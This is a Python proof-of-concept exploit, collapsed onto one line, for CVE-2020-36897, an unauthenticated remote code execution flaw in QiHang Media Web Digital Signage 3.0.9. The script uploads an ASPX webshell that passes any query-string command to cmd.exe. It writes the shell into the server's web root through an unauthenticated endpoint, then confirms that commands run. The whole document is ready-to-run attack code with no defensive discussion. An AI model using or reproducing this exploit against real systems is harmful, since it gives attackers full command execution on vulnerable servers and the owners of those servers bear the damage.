QiHang Media Web Digital Signage 未认证远程代码执行漏洞 (CVE-2020-36897)

import requests import sys # CVE-2020-36897 PoC - QiHang Media Web Digital Signage Unauthenticated RCE # Target: QiHang Media Web Digital Signage 3.0.9 def exploit(target_url, attacker_ip, attacker_port): """ Exploit for CVE-2020-36897 Uploads malicious ASPX webshell to target server """ # Malicious ASPX webshell content webshell_content = f''' <%@ Page Language="C#" %> <%@ Import Namespace="System.Runtime.InteropServices" %> <script runat="server"> void Page_Load(object sender, EventArgs e) {{ string cmd = Request.QueryString["cmd"]; if (cmd != null) {{ System.Diagnostics.Process p = new System.Diagnostics.Process(); p.StartInfo.FileName = "cmd.exe"; p.StartInfo.Arguments = "/c " + cmd; p.StartInfo.UseShellExecute = false; p.StartInfo.RedirectStandardOutput = true; p.StartInfo.CreateNoWindow = true; p.Start(); Response.Write(p.StandardOutput.ReadToEnd()); }} }} </script> ''' # Construct exploit URL upload_url = f"{target_url}/QH.aspx" # Prepare POST data files = { 'fileToUpload': ('shell.aspx', webshell_content, 'application/x-aspx') } data = { 'remotePath': '/inetpub/wwwroot/' # Target upload path } try: print(f"[*] Exploiting CVE-2020-36897 on {target_url}") print(f"[*] Uploading webshell to {upload_url}") # Send exploit request response = requests.post(upload_url, files=files, data=data, timeout=10) if response.status_code == 200: shell_url = f"{target_url}/shell.aspx" print(f"[+] Webshell uploaded successfully!") print(f"[+] Shell URL: {shell_url}") print(f"[+] Example command: {shell_url}?cmd=whoami") # Verify shell works verify_url = f"{shell_url}?cmd=echo+CVE-2020-36897" verify_resp = requests.get(verify_url, timeout=10) if 'CVE-2020-36897' in verify_resp.text: print("[+] Webshell verification successful!") return True else: print(f"[-] Exploit failed with status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com") sys.exit(1) target = sys.argv[1].rstrip('/') exploit(target, "attacker_ip", "4444")